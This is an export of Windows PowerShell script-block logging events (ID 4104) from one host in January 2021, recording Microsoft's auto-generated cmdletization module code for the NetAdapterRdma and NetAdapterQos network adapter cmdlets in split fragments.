Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1866 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-bc28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
eData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterRdma' -Alias '*'
function Disable-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRdmaSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterRdma' -Alias '*'
ScriptBlock ID: 2daf37a4-d9fd-4313-a917-43d25ebb47dd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1865 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-fced-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterRdmaSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRdmaSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterRdma' -Alias '*'
function Set-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRdmaSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRdmaSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRdma.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterRdma' -Alias '*'
function Enable-NetAdapterRdma
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRdmaSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:Privat
ScriptBlock ID: 2daf37a4-d9fd-4313-a917-43d25ebb47dd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1864 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-fced-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
ameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterQos.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterQos' -Alias '*'
ScriptBlock ID: 7df6082d-984e-488f-b7f3-9bb8aad315a2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1863 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b628-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
SetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
